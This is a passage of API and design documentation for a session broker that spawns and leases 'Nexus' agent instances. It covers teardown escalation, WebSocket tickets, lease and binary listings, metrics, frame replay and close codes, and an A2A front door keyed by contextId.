instance’s nexus.io.broker plugin emits io.session.end, and the engine
performs a clean Stop that flushes and persists the session before exit.
The session directory under ~/.nexus/sessions/<id>/ is left intact and remains
resumable via -recall.
The frame is only the first step, because it travels over the dial-back socket
and teardown has to be correct when that socket is gone. If the process has not
exited within release_grace, the broker escalates:
| Step | What | Why |
|---|---|---|
| 1 | shutdown frame over the instance WS | The instance shuts its own engine down and reports back. Requires a live socket. |
| 2 | SIGTERM to the instance’s process group, at the release_grace boundary | The engine treats SIGTERM as a clean shutdown, so this still flushes and persists. It needs nothing from the instance — a wedged instance, or one mid reconnect-backoff, never saw step 1. |
| 3 | SIGKILL to the same group, a fixed 2s later | Orphan prevention. Not configurable: release_grace is the shutdown budget and has already elapsed. |
Both signals target the process group, not just the instance process. Every instance is made the leader of its own process group at spawn, so everything it started — shell-tool commands, MCP stdio servers, code interpreters — is torn down with it rather than surviving, re-parented to init, holding the session’s files and the operator’s API budget with nothing tracking it.
The same escalation is what reaps an adopted instance after a restart (it has
no socket by construction, so it starts at step 2), which is why the two paths
share one SIGTERM→SIGKILL window.
A dying instance does not lose what it already said
Teardown is ordered on the socket, not on the process. Every path that
reacts to an instance going away — the crash watcher, a release, the idle
sweeper — wakes on the instance process being reaped, and that signal says
nothing about the instance’s frames: the bytes it wrote on its way out are
sitting in a socket buffer the broker has not read yet. The EOF is the event
that is ordered after the last frame.
So before a teardown closes an instance connection, and before it settles any
A2A task attached to that lease, it waits for the broker’s own instance read pump
to finish draining. Because the process is already gone, the far end of the
socket is already closed and the wait is normally microseconds; it is bounded by
a fixed 2s drain grace for the pathological half-open socket, and exceeding
that logs a WARN naming the lease.
What this buys is the difference between an honest failure and a lost answer. An
instance that publishes its output and status: idle and then exits at once —
a oneshot IO profile, a plugin calling os.Exit, an OOM kill landing just after
the answer — settles TASK_STATE_COMPLETED with its answer, not
TASK_STATE_FAILED with nothing. An instance that dies without answering still
fails, still frees its slot, and still closes its client with the
4500 instance crashed status.
curl -s -X POST http://localhost:8080/release/lease-abc123
# {"status":"released","lease_id":"lease-abc123"}
| Outcome | Status | Body |
|---|---|---|
| Released (graceful or killed) | 200 | {"status":"released","lease_id":"…"} |
| Unknown / already-released lease | 404 | {"error":"unknown lease"} |
| Missing lease id in path | 400 | {"error":"release requires a lease id"} |
Release is idempotent: releasing an already-gone lease returns 404 rather
than erroring, and concurrent releases of the same lease collapse to one
teardown.
POST /ticket/{lease_id} — mint a fresh WebSocket ticket
Only relevant when the broker is configured with an auth: block. A browser
cannot put an Authorization header on a WebSocket handshake, so a claim hands
back a single-use, 30-second ticket bound to that lease and to the claiming
principal. Because the window is deliberately tight, a reconnect needs a fresh
one — that is what this route is for; re-claiming would spawn a new instance and
abandon the live session.
curl -s -X POST http://localhost:8080/ticket/lease-abc123 \
-H 'Authorization: Bearer <the token the lease was claimed with>'
# {"lease_id":"lease-abc123","ticket":"…"}
| Outcome | Status | Body |
|---|---|---|
| Ticket issued | 200 | {"lease_id":"…","ticket":"…"} |
| Unknown, already-released, or another principal’s lease | 404 | {"error":"unknown lease"} (identical in all three cases, so live lease ids cannot be enumerated) |
| Missing lease id in path | 400 | {"error":"ticket requires a lease id"} |
Tickets are in-memory only — they do not survive a broker restart — and every
ticket for a lease is destroyed the moment the lease goes away, whether by
POST /release, idle reaping, or a crash. With no auth: block the route is
inert: it answers 200 with the ticket key omitted, and the lease socket
keeps accepting a connection with no ticket at all. Full detail, including why the
TTL is not configurable, is in the
configuration reference.
GET /leases — list live instances
A read-only introspection surface, sorted by created_at then lease_id. It
performs no mutation.
What comes back depends on who is asking. A caller holding
auth.admin_scope — and every caller when auth is
disabled — gets the operator shape: every live lease plus the capacity and
queue aggregates. Any other authenticated caller gets only its own leases, with
the aggregates omitted.
curl -s http://localhost:8080/leases -H 'Authorization: Bearer <token>'
Operator shape:
{
"max_concurrent": 8, // configured cap (0 = unlimited)
"slots_in_use": 2, // live instances currently holding a slot
"queue_depth": 0, // claims parked in the FIFO capacity wait queue
"max_queue_depth": 32, // configured ceiling on that queue (0 = unlimited)
"leases": [
{
"lease_id": "lease-abc123",
"session_id": "…",
"pid": 41234,
"state": "active", // "spawning" | "active" | "draining"
"binary": "vision", // binary registry entry NAME; "" = not recorded
"reason": "", // teardown reason once draining (e.g. "manual release", "idle")
"last_activity": "2026-06-25T12:00:00Z",
"created_at": "2026-06-25T11:59:30Z"
}
]
}
Caller-scoped shape — same lease objects, same ordering, no aggregate keys at all:
{
"leases": [
{
"lease_id": "lease-abc123",
"session_id": "…",
"pid": 41234,
"state": "active",
"binary": "vision",
"last_activity": "2026-06-25T12:00:00Z",
"created_at": "2026-06-25T11:59:30Z"
}
]
}
The aggregates are absent, not zeroed — read a missing max_concurrent,
slots_in_use, queue_depth or max_queue_depth as “not disclosed to you”,
never as 0. A caller that owns no live lease gets 200 with {"leases": []},
never a 404.
max_queue_depth sits beside queue_depth because the depth alone cannot be
read: a queue 12 deep is either a busy broker or one about to start refusing
claims with capacity queue full, and only the configured bound tells them apart.
binary answers “which build is this lease running”. With
several variants behind one broker
that question used to be answerable only by grepping the claim log. It is the
registry entry name, never a path, so it discloses nothing
GET /binaries does not already
list, and it appears in both shapes above.
An empty binary means “not recorded” — typically a lease
restored from the journal of a broker that
predates the field. It never means “the entry named empty string”, which cannot
exist. Unlike session_id and reason, the key is emitted even when empty,
precisely so a client can tell “not recorded” from “this broker is too old to
report it”.
Lease states:
| State | Meaning |
|---|---|
spawning | The lease exists but its instance has not yet dialed back and registered — the claim is still booting an engine. |
active | The instance has registered; frames can flow. |
draining | A teardown (manual release, idle, or crash) has latched; the lease is on its way out. |
GET /binaries — list the spawnable binaries
A read-only listing of this broker’s binary registry, so a client can build a picker — or check a name it has configured — from live broker truth rather than from entries hardcoded against a broker that may not have them. It performs no mutation and reads nothing from the request.
curl -s http://localhost:8080/binaries -H 'Authorization: Bearer <token>'
// 200 — entries sorted by name, ascending
{
"binaries": [
{ "name": "archive", "label": "Nexus 0.9" },
{ "name": "nexus" },
{
"name": "vision",
"label": "Nexus (vision)",
"description": "Multimodal build with the image tools compiled in"
}
]
}
nameis the registry key, and the exact string to send back as a claim’sbinary. Always present.labelanddescriptionare the operator’s presentational strings. They are omitted, not empty, when none was set — so a client can tell “the operator wrote nothing” from “the operator wrote an empty string” — and a consumer with no label falls back toname.binariesis always present and nevernull; the empty case is{"binaries": []}, so a client can iterate it unconditionally. In practice it always holds at least the reservednexusentry, which every broker can spawn.- Ordering is by
name, ascending. It does not change between requests and does not differ between callers, so a picker built from it never reshuffles. - The listing follows a
SIGHUPreload: an entry an operator adds or removes appears or disappears here without a restart.
The response is an object, not a bare array. Decode it into a struct with a
binaries field rather than into a list: the envelope leaves room for a
broker-wide fact later — a default-binary hint, a schema version — to arrive as a
sibling key that a client ignoring unknown keys never notices. Per-field types are
in the
GET /binaries reference,
which is authoritative.
path, args and env are deliberately not returned, nor is the absolute
path the broker resolved for the entry at boot. They are broker-host detail —
build locations, deployment flags, per-variant environment — that a claiming
client has no use for and every reason not to learn. A client picks a name; what
that name runs stays the broker’s business.
Authentication is exactly POST /claim’s, because it is exactly the same
middleware. With an auth: block configured, a missing
credential is refused 401 authentication required and an invalid one 401 credential rejected; a valid one gets the list. With no auth: block the route
serves an unauthenticated caller, just as /claim does — a supported
deployment, not a degraded one. A caller that may not claim has no business
enumerating what it cannot spawn.
The listing is not filtered per principal. Every authenticated caller sees every entry and may claim any of them. There is no per-entry visibility rule and no per-entry authorization anywhere in the broker.
That is a known gap, deferred by decision rather than overlooked: an entry
name is not a secret (naming a wrong one is already a 400 from POST /claim
that lists the alternatives), and a filter would need a per-entry authorization
model that no config key describes today — building one here would put the policy
in the listing handler instead of next to the model that should own it. Until such
a model exists, the way to make a variant reachable by only some callers is a
separate broker with its own binaries: block and its own auth: chain. See
also What the registry deliberately does not do
and the v1 caveats.
Discover, then claim
The intended client flow is two calls: read the registry, pick a name out of it,
then send that name back as binary alongside the config to run.
broker=http://localhost:8080
auth='Authorization: Bearer <token>' # drop the -H below when the broker has no `auth:` block
# 1. discover what this broker offers (label falls back to name)
curl -s "$broker/binaries" -H "$auth" \
| jq -r '.binaries[] | "\(.name)\t\(.label // .name)"'
# archive Nexus 0.9
# nexus nexus
# vision Nexus (vision)
# 2. pick a name from that listing
binary=vision
# 3. claim it, passing the engine config to run
claim=$(curl -s -X POST "$broker/claim" \
-H 'Content-Type: application/json' -H "$auth" \
-d "{\"config\":\"engine:\n name: example\n\",\"binary\":\"$binary\"}")
lease_id=$(printf '%s' "$claim" | jq -r .lease_id)
ws_url=$(printf '%s' "$claim" | jq -r .ws_url)
session_id=$(printf '%s' "$claim" | jq -r .session_id)
Then open ws_url as in Connecting over WebSocket.
Persist session_id and $binary together if you mean to resume later: a
resume should restate the binary it was claimed with, because the broker’s own
record of that pairing is best-effort — see
The 409 is best-effort, not an invariant.
Prefer discovering per run over caching the names. The registry is read once at
broker startup and can only change across a restart, so a client holding names
from an earlier session may be holding entries this broker no longer offers —
which surfaces as a 400 on the claim, after the user has already chosen.
GET /metrics — scrape the broker
The broker’s Prometheus scrape surface, in the standard text exposition format. It mutates nothing and takes no parameters, and there is no config key for it — the route is always mounted.
curl -s http://localhost:8080/metrics -H 'Authorization: Bearer <operator-token>'
# HELP nexus_broker_claims_total Instance claims handled by the shared spawn spine, by outcome. …
# TYPE nexus_broker_claims_total counter
nexus_broker_claims_total{outcome="accepted"} 148
nexus_broker_claims_total{outcome="no_capacity"} 3
…
# HELP nexus_broker_slots_in_use Capacity slots currently held: one per live lease.
# TYPE nexus_broker_slots_in_use gauge
nexus_broker_slots_in_use 2
It needs auth.admin_scope, not merely a valid credential. The route sits
behind the same middleware as POST /claim — so with an auth: block a missing
or invalid credential is a 401 — and then requires the operator scope on top,
answering 403 {"error":"insufficient scope"} to an authenticated caller without
it. Every number here is a whole-registry aggregate, which is exactly the
disclosure GET /leases already reserves for
an operator. Setting admin_scope: "" therefore refuses everyone.
With no auth: block it serves anyone, exactly as every other route on this
binary does — the same caller can already read the whole registry from
GET /leases.
The metric names are a stable surface
Treat them as API. All are namespaced nexus_broker_:
| Metric | Type | Labels |
|---|---|---|
nexus_broker_claims_total | counter | outcome |
nexus_broker_claim_duration_seconds | histogram | — |
nexus_broker_spawn_failures_total | counter | reason |
nexus_broker_frames_dropped_total | counter | reason |
nexus_broker_replay_gaps_total | counter | reason |
nexus_broker_client_evictions_total | counter | — |
nexus_broker_config_reloads_total | counter | outcome |
nexus_broker_restored_leases_total | counter | outcome |
nexus_broker_slots_in_use | gauge | — |
nexus_broker_max_concurrent | gauge | — |
nexus_broker_queue_depth | gauge | — |
nexus_broker_max_queue_depth | gauge | — |
nexus_broker_leases | gauge | state |
nexus_broker_tickets_outstanding | gauge | — |
Every label value comes from a fixed set — the full lists are in the
GET /metrics reference.
Nothing is ever labelled by lease id, principal, session id or binary path.
That bound is deliberate and structural: one unbounded label would turn a scrape
into an unbounded series set, which is a memory leak in the monitoring system
rather than in the broker.
Because the label sets are fixed, every declared series is present at 0 from
the first scrape. An alert on rate(nexus_broker_spawn_failures_total[5m]) can
therefore be written before the broker has ever failed a spawn, rather than
waiting for the series to appear.
What to watch
| Question | Query |
|---|---|
| Are we about to start refusing claims? | nexus_broker_slots_in_use / nexus_broker_max_concurrent, and nexus_broker_queue_depth / nexus_broker_max_queue_depth |
| Is a deploy broken? | rate(nexus_broker_spawn_failures_total[5m]), broken out by reason |
| Are clients losing output? | rate(nexus_broker_frames_dropped_total[5m]) and rate(nexus_broker_replay_gaps_total[5m]) — a replay_gaps reason="evicted" means client_replay_buffer_bytes is too small for the reconnect windows in practice |
Did the last SIGHUP take? | nexus_broker_config_reloads_total{outcome="rejected"} |
| Did a restart cost any sessions? | nexus_broker_restored_leases_total{outcome="reaped"} against {outcome="reattached"} |
| How long is a claim taking? | histogram_quantile(0.95, rate(nexus_broker_claim_duration_seconds_bucket[5m])), against the configured ready_timeout |
The three capacity refusals all answer HTTP 503 and are three different label
values on purpose: no_capacity says raise max_concurrent, queue_timeout says
raise queue_wait_timeout, queue_full says raise max_queue_depth. A dashboard
grouping by status code cannot tell them apart.
Counters are process-lifetime and reset on restart, as Prometheus counters are
expected to. Gauges are read from live registry state at scrape time — the same
counters capacity accounting and GET /leases already use — so they cannot drift
from what the broker actually holds.
The exposition is hand-rolled from the stdlib. The broker takes no client library for it, in line with the rest of the codebase.
Connecting over WebSocket
After a successful claim, open the returned ws_url and exchange IO frames. A
minimal browser sketch, carrying the ticket the
claim returned:
const auth = { Authorization: "Bearer <token>" }; // omit when auth is disabled
const { lease_id, ws_url, ticket } = await (await fetch("http://localhost:8080/claim", {
method: "POST",
headers: { "Content-Type": "application/json", ...auth },
body: JSON.stringify({ config: "engine:\n name: example\n" }),
})).json();
// `ticket` is present only when the broker is configured with an `auth:` block.
const url = ticket ? `${ws_url}?ticket=${encodeURIComponent(ticket)}` : ws_url;
const ws = new WebSocket(url);
ws.onmessage = (e) => console.log("frame:", e.data);
ws.onopen = () => {
// send a user input message into the instance
ws.send(JSON.stringify({ type: "input", content: "hello" }));
};
// reconnecting later? the ticket is single-use and 30s-lived — mint a fresh one
// rather than re-claiming, which would spawn a NEW instance — and send the
// highest seq you received as ?from_seq= so the broker replays what you missed.
// const { ticket: next } = await (await fetch(
// `http://localhost:8080/ticket/${lease_id}`, { method: "POST", headers: auth })).json();
// new WebSocket(`${ws_url}?ticket=${encodeURIComponent(next)}&from_seq=${lastSeq}`);
// a "stream-gap" frame on the new socket means the buffer could not cover you:
// it names the missing range, and handling it is the client's job.
// later: release the instance (the session persists on disk)
await fetch(`http://localhost:8080/release/${lease_id}`, { method: "POST", headers: auth });
A client that can set request headers — Go, a CLI, anything that is not a browser
— may skip tickets and send Authorization: Bearer <token> on the handshake
instead.
The IO message shapes carried inside broker frames (output, stream.delta,
input, approval.response, …) are documented on the
nexus.io.broker plugin page.
Frame sequencing and the replay buffer
Every frame the broker sends a client carries a sequence number: seq, a
per-lease counter that starts at 1 and increments by exactly one for every frame,
whatever its signal.
{"version":1,"lease_id":"a1b2…","signal":"io","seq":42,"payload":{"type":"stream.delta","content":"…"}}
It exists because the gateway has two places where a client-bound frame can fail
to reach its socket — no client is attached, and an attached client whose
send queue is full — and before sequencing both of them logged and continued.
A client had no way to tell that it had lost anything, which for a streaming agent
is the worst shape of failure: it silently corrupts what the user believes the
agent said. A gap in seq makes that loss visible.
Track the sequence and treat a jump as an error. A client that sees seq
advance by more than one has missed output and should say so rather than render
the remainder as if it were complete.
Alongside the sequence, each lease keeps a replay buffer: the encoded bytes
of the frames it has already sent, bounded by
client_replay_buffer_bytes
(1 MiB by default) and evicted oldest first. Both loss paths retain the frame
rather than discarding it, so a missed range is not only detectable but
recoverable.
Four properties are worth stating plainly:
- Only client-bound frames are sequenced. Frames flowing client → instance
carry no
seqand are not buffered. The broker assigns the number, so an instance needs no protocol awareness and nothing on the dial-back side changed. - The bound is in bytes, not frames. A client-bound payload runs from a
few-byte token delta to a hundred-kilobyte tool result, so a frame count would
say nothing about how much memory a lease can pin. Worst-case retention across
the whole broker is
client_replay_buffer_bytes×max_concurrent— 8 MiB at both defaults. Setmax_concurrent: 0(unlimited) and that product is unbounded too, so size the two together. - The buffer is in-memory and dies with the lease. Nothing about it is
journaled:
state_dirdoes not persist it, releasing a lease frees it immediately, and a broker restart does not preserve it. A lease restored from the journal after a restart starts a fresh stream — its sequence begins again at 1 with an empty buffer, which is itself the signal to a reconnecting client that its stream did not survive. seqis additive on the wire. It is omitted when zero, so a peer built against an older broker decodes a sequenced frame cleanly and ignores the key. Adding it needed nobrokerframeversion bump.
Setting client_replay_buffer_bytes: 0 disables retention while leaving
sequencing intact — loss stays visible to the client, but the broker keeps
nothing to replay with.
Resuming from the buffer
The buffer is reached with ?from_seq=<n> on the client socket:
ws://localhost:8080/lease/lease-abc123?ticket=<value>&from_seq=41
n is the highest seq the client received. The broker replays every retained
frame after it, oldest first, and only then continues with the live stream —
replayed frames always precede live ones, whatever else is in flight when the
socket opens. ?from_seq=0 means “I have seen nothing”: it replays everything
the buffer still holds, which is not the same as omitting the parameter (that
asks for the live stream only).
It is a query parameter for the same reason ?ticket=
is one — a browser cannot set headers on a WebSocket handshake, and the first
frame a client sends is already routed straight through to the instance, so
there is no control frame to carry it in. The two parameters compose and
?from_seq= is not a credential: it never widens what a caller may connect
to, and ownership is checked exactly as it is without it.
The replay is not capped by the connection’s 256-frame send queue — it is written ahead of it — so a full megabyte of buffered token deltas replays intact.
When the buffer cannot cover you
If the frames right after from_seq have already been evicted, the socket opens
with a stream-gap frame before anything else:
{"version":1,"lease_id":"a1b2…","signal":"stream-gap",
"payload":{"reason":"evicted","requested_from_seq":41,"missing_from_seq":42,"missing_through_seq":118}}
missing_from_seq…missing_through_seqare the inclusive bounds of what the broker can no longer supply. The frames it can still supply follow immediately, then the live stream.reasonisevicted— the frames aged out of a bounded buffer — orrestarted, which meansfrom_seqis ahead of this lease’s stream. That is the restart case: a lease restored from the journal renumbers from 1, so the client’s position belongs to a stream that no longer exists. Its old numbering is void; the broker replays everything it now holds and the missing-range fields are omitted, because none can be named.- The gap frame carries no
seq. It describes one connection, not the lease’s frame stream, so numbering it would make the stream’s sequence depend on how often a client dropped.
Treat a gap as a normal outcome and handle it. It is what a disconnection longer than the buffer produces, and the client is the only party that can decide what to do: re-render from its own transcript, tell the user output is missing, or start a fresh view. Ignoring it puts you back where the sequence was introduced to stop you being — rendering a hole as continuous output.
Adding stream-gap needed no brokerframe version bump, for the same reason
seq did not: the broker only ever emits it to a client that asked for a resume,
so nothing built against an older broker can be handed a signal it cannot decode.
One client per lease: the newest connection wins
A lease carries exactly one client connection, and opening a second one does
not multiplex the stream: it displaces the first. The older socket is closed
at once with close code 4501, and everything from that moment — replayed
frames and live ones alike — goes to the new connection.
A client must never keep two connections open to one lease. They will evict each other in a loop, and neither will see a whole stream. If you are unsure whether your previous socket is really gone, just reconnect: displacing it is the supported outcome, and it is what the reconnect recipe above relies on.
The newest connection wins rather than the oldest on purpose. A half-open socket — a slept laptop, a moved network, a dropped NAT flow — still looks attached from the broker’s side until something writes to it, and the client always notices its own dead connection long before the broker’s liveness probe does. Refusing the second connection, which is what the broker used to do, therefore made the lease unreachable in exactly the situation the fresh-ticket reconnect exists for: the genuine owner, correctly authenticated, turned away on behalf of a socket with no peer.
Two things bound that power:
- Only the lease’s owner can displace it. Ownership is checked before the
upgrade, so a caller who does not own the lease gets the same
404 {"error":"unknown lease"}an unknown lease gets and evicts nothing. Eviction is never reachable across tenants. - It composes with
?from_seq=. The displacing connection is a normal attach: it is replayed the tail it names, gap notice and all, before the live stream resumes. Eviction does not bypass the replay cursor.
Every eviction is recorded in the broker log with the lease id, the principal that caused it and the close reason, so a client stuck in a reconnect war is visible from the operator’s side rather than only from the user’s.
Client close codes
The broker uses the RFC 6455 application range (4000-4999) for the two teardowns where the difference changes what a client should do next. Everything else — a manual release, an idle reap, a shutdown — closes with an ordinary going-away.
| Close code | Reason text | What happened | What the client should do |
|---|---|---|---|
1001 | lease closed | The lease was released, idle-reaped, or the broker is shutting down. | The session is over. Claim a new lease if the user wants another. |
4500 | instance crashed | The instance process exited unexpectedly. | The session is gone — do not reconnect to this lease. Claim a new one. |
4501 | superseded by a newer client connection | Another socket attached to this lease and took over. | The lease is alive and streaming somewhere else. Do not reconnect in a loop; usually this connection is the one that has been replaced by your own newer tab or retry. |
Detecting a dead socket
A TCP connection can die without either end being told. A laptop that sleeps, a phone that moves from Wi-Fi to cellular, a NAT table that ages out an idle flow — in every case the socket stays open on the far end’s books, writes are still accepted into a send queue, and nothing surfaces until the OS keepalive eventually notices, which on a default configuration is on the order of hours. Until then the broker believes a lease has a peer that is never going to read another byte.
So both frame pumps probe their peer, in both directions:
- The broker pings each attached client and each attached instance every 15 seconds.
- The instance’s dial-back client pings the broker on the same cadence.
- A peer that answers nothing for 45 seconds — three consecutive probes — has its socket torn down. On the broker side that detaches the connection from the lease (the lease itself survives, so a client can reconnect and resume); on the instance side it drops the dial-back socket and redials with the usual backoff, with buffered output intact.
The deadline is three times the interval on purpose. One unanswered ping proves very little — a stop-the-world GC pause, a saturated uplink, a starved process — and a deadline set at or just above the interval would turn each of those into a dropped connection. Requiring sustained silence across three independent probes is what makes the signal worth acting on.
Two things follow that are easy to get wrong:
- This is not idle reaping, and it never reaps an idle session. The probe is
a WebSocket ping, answered by the peer’s WebSocket stack whether or not there
is a human at the far end. A session sitting untouched overnight with no user
input answers every one of them and survives indefinitely. Releasing genuinely
idle leases is a separate policy, owned by
idle_timeout— which is driven by real client → instance input and by the instance’s own turn boundaries, never by a ping. A ping detects a dead socket; turn liveness detects a live turn; reading either as the other reaps healthy sessions. - It is not part of the frame protocol. Ping and pong are RFC 6455 control
frames, not
brokerframesignals, so there is no new signal, no version bump, and nothing a client has to implement: any conformant WebSocket client already answers. There is no configuration key either — the interval and deadline are constants.
The unresponsive-peer teardown skips the WebSocket close handshake. A graceful close writes a close frame and then waits up to five seconds for the peer to echo it, which against a peer that has already stopped answering is five seconds of the lease still believing it has a socket — exactly the bounded detection the probe exists to provide. A peer torn down this way sees an abnormal closure, which is the honest description of what happened to it.
The A2A front door (agents:)
Everything above assumes a Nexus-aware client: POST /claim requires the
full nexus config as inline YAML, so the caller must know Nexus exists and which
plugins to activate. A third-party A2A client knows
none of that.
The agents: block is the answer. Each profile binds a nexus config, a
binary registry entry and
an Agent Card under one name, and publishes that name’s A2A endpoints. The
client names an agent by URL; the operator decided long ago what running it
means.
# broker.yaml
advertise_addr: "https://broker.example" # the origin the agent cards advertise
state_dir: "~/.nexus/broker" # needed for continuity across a restart
agents:
support:
binary: nexus # optional; omitted means the reserved `nexus` entry
config: "~/agents/support.yaml" # the nexus config instances of this profile boot with
card:
name: "Support Agent"
description: "Answers customer questions from the product knowledge base."
version: "1.2.0"
skills:
- id: "answer"
name: "Answer questions"
description: "Answers a customer question and cites its sources."
a2a: # optional; every value below is the default
tasks:
ttl: "24h" # how long a finished task stays readable
max_per_context: 50 # tasks kept per (caller, conversation)
input_timeout: "15m" # how long a question may wait on a human
The a2a: block is not per profile, deliberately: the task store is one
file with one retention policy for the whole broker, so hanging its knobs off
each profile would invite four different retentions for one file. Its keys and
their meanings are nexus.io.a2a’s, so an operator who has configured the
standalone listener already knows them — see
Reading tasks back and
Two messages on one conversation queue
for what each one actually governs.
That publishes three routes, namespaced under the profile name so profiles cannot collide:
| Route | Purpose |
|---|---|
GET /agents/support/.well-known/agent-card.json | The profile’s Agent Card |
POST /agents/support/a2a | JSON-RPC 2.0 binding |
/agents/support/a2a/v1/... | HTTP+JSON (REST) binding |
curl -s https://broker.example/agents/support/.well-known/agent-card.json \
-H 'Authorization: Bearer <token>' | jq
Profiles are the unit of public identity: one card, one persona, one config. Two agents that should look different to the outside world are two profiles, not one profile with a switch.
Publishing a new agent does not need a restart. Add the profile and send a
SIGHUP: every card is re-rendered and the whole set is swapped in one step, so
no request can see one profile’s identity under another’s name. The one thing a
reload cannot do is switch the ingress on — a broker that booted with no
agents: block registered no A2A routes at all, so its first profile is a
restart. See
Changing config without a restart.
A few rules worth knowing before you write the block; the full key list is in the configuration reference.
- A profile name is a URL path segment. Letters, digits,
-,_and.only. Names are compared with whitespace trimmed, so"support ":andsupport:collide and fail the boot. - An unknown
binaryfails startup, naming the alternatives — it does not fall back to the reservednexusentry, for the same reasonPOST /claimanswers400rather than quietly spawning the base binary for a caller that asked for a vision build. - A missing
configfile fails startup too, resolved and stat()ed at boot like every registry path, so a typo is caught at deploy time rather than by the first A2A request. - You author identity; the broker derives the rest.
supportedInterfaces,capabilitiesandsecuritySchemeshave no config keys: they describe what the broker actually serves, and an operator must not be able to state one that is false. In particular the card’s security schemes come from the broker’s ownauth:chain, so a published card cannot advertise a credential the broker does not accept. - Set
advertise_addr. A card must carry absolute URLs. With profiles configured and a wildcard bind (:8080) and noadvertise_addr, the broker refuses to start rather than publish a URL no client can dial. - Every A2A route is behind the same
auth:guard as/claim, the card included. A refusal is the broker’s usual{"error": "..."}envelope. This differs from the standalonenexus.io.a2aplugin, which serves its card unauthenticated: that one binds loopback, the broker is an ingress. Hand clients a credential out-of-band, which the specification’s “Direct Configuration” discovery path explicitly sanctions.
A broker with no agents: block is unchanged in every respect — no routes
are registered, no card is built, and nothing new appears in the boot log. That
also means the ingress cannot be switched on by a SIGHUP: adding agents:
to the file of a broker that booted without it is
reported and ignored like any other boot-only
change. Adding, changing and removing profiles on a broker that already serves at
least one all reload normally.
Current state.
SendMessage,SendStreamingMessage,CancelTask,GetTask,ListTasksandSubscribeToTaskare all driven end to end: a message starts (or resumes) a real isolated instance, the turn is translated back into A2A frames, and the task stays readable afterwards — see One conversation, one instance, What the A2A ingress translates and Reading tasks back below. The push-notification operations andGetExtendedAgentCardstill answer a well-formedUnsupportedOperationErrorcarryingdetail: OPERATION_NOT_IMPLEMENTED, and the matching card capabilities arefalse.
One conversation, one instance (contextId)
An A2A client holds a contextId. The broker holds leases. The client
never learns the second thing exists.
contextId ──(durable index)──▶ engine session id ──(the /claim spawn spine)──▶ lease
The middle term is what makes the trick work. A lease is mortal — it is released when a conversation goes quiet, it dies when its instance crashes — but an engine session is a directory on disk that outlives every process that opened it. So a message on a context whose instance has gone is not an error to report; it is a session to resume.
What the broker knows about the contextId | What the message does |
|---|---|
Nothing — a new conversation, or a message with no contextId at all (one is minted) | Spawns an instance with no -recall. |
| A live instance | Goes straight to it. History is what the running engine holds; nothing is replayed. |
| A live lease already running that context’s session, which this process lost track of (a broker restart with a surviving instance) | Adopts it, rather than putting a second engine on one session directory. |
| A session with no live instance — idle-released, crashed, or a restart | Spawns a new instance with -recall <session id> so the engine replays the history. |
Nothing about any of that reaches the client. It sends a message and gets an answer. There is no claim, no lease id, no reconnect, and no “your session expired”.
# First message: this cold-spawns an isolated nexus instance.
curl -s https://broker.example/agents/support/a2a \
-H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{
"jsonrpc":"2.0","id":1,"method":"SendMessage",
"params":{"message":{"messageId":"m1","role":"ROLE_USER",
"contextId":"conv-42","parts":[{"text":"How do I rotate my API key?"}]}}}'
# An hour later, after idle_timeout released the instance: same call, same
# contextId. The broker re-spawns with -recall and the conversation continues.
Continuity is keyed by (principal, profile, contextId). A2A lets a client
choose its own contextId, so keying on it alone would let anyone name someone
else’s conversation and be handed that session’s history. A colliding
contextId under a different principal — or a different profile — resolves to
the caller’s own binding instead. With no auth: block every caller is the
same anonymous principal, exactly as lease ownership already behaves.
Durability needs state_dir. The
binding is written to <state_dir>/a2a-contexts.jsonl, a separate append-only
index beside the lease journal for the same reason the
session → binary index is
separate: the journal is compacted down to live leases, and a resume always
happens after the lease was released. Without state_dir a conversation is
resumable only for as long as the broker process lives.
And the index is capped at 4096 bindings, oldest dropped first — which is
lossy, deliberately, and silent. Nothing ever retires a binding, because being
resumable later is the entire point of one, so the key space has no natural
bound and a cap is the only thing keeping the file finite. A conversation whose
binding is evicted reads back as unknown, and unknown means new: the next
message on that contextId starts a fresh session and the client is told
nothing — the agent has simply forgotten. The degradation is always to
forgetting, never to answering with the wrong session, and 4096 is generous for
exactly that reason. If a conversation must survive indefinitely, keep the
engine session id rather than relying on this file. See
A2A context → session index.
An A2A-created lease is an ordinary lease. It is listed by GET /leases,
owned by the A2A caller, counted against max_concurrent, torn down by
POST /release, watched for crashes, and reaped by idle_timeout. Every
message the ingress sends resets the idle timer, exactly as a WebSocket client’s
input does — so an active conversation is never reaped mid-turn, and a finished
one is released like anything else. The instance is deliberately not released
at the end of each turn: that would make every message a cold boot.
A spawn that fails settles the task; it never hangs.
| Condition | Task state |
|---|---|
Unknown binary, a session created by a different binary, an unreadable or empty profile config, or the caller over one of its per-principal caps | TASK_STATE_REJECTED — the broker refused; the same message will fail the same way until an operator changes something (or, for a quota, until the caller releases a lease) |
| The instance died booting, never signalled ready, the broker is at capacity, or a surviving instance is still mid-reattach | TASK_STATE_FAILED — attempted and did not come up; a retry may succeed |
The terminal status message explains what happened without naming a lease.
What this costs in latency. The broker’s two internal handshake bounds are
the same ones a POST /claim caller already waits on, and they apply to the
first message of a conversation and to a message that re-spawns one:
| Bound | Value | What an A2A caller sees |
|---|---|---|
| Ready wait | 30s | A cold spawn blocks the request until the instance is ready. Worst case: 30s, then a FAILED task. |
| Session-report grace | 5s | Waited after ready, for the instance’s session id. Not on the answer path — a report that never arrives only costs the conversation its durable binding, so a later resume starts fresh instead of replaying. |
Both are constants rather than config keys: they bound the broker’s handshake with a process it started, not a policy to tune. A second message on a live conversation pays neither — it goes straight to the running instance, which is the entire reason the instance is kept alive between turns.
What the A2A ingress translates
The broker sits between two protocols it did not design. On one side an A2A
client speaks tasks, states and artifacts; on the other a leased nexus
instance speaks the flat IO envelope its
nexus.io.broker plugin puts inside every SignalIO
frame. Until now the broker forwarded that envelope without looking at it. It
now reads it, and this is the whole of the mapping.
Inbound — A2A to the instance:
| A2A | IO payload sent to the instance |
|---|---|
A message with no taskId | {"type":"input","content":"…"} — which the instance turns into io.input |
A message naming a parked taskId | {"type":"hitl.response","request_id":"…","choice_id"|"free_text":"…"} |
CancelTask | {"type":"cancel","turn_id":"…","source":"broker.a2a"} |
The message’s text parts are joined with a blank line. A non-text part is
refused with ContentTypeNotSupportedError rather than dropped: the input
payload is a single string, so there is nowhere for a file to go.
Outbound — the instance to A2A. turn_id is what anchors a task: the first
payload carrying one binds the task to that Nexus turn, and a payload naming a
different turn is ignored.
| IO payload | A2A |
|---|---|
| any first payload | SUBMITTED → WORKING status update |
stream.delta | accumulates the answer text; mints no frame of its own |
stream.end | closes the current response segment; does not end the task |
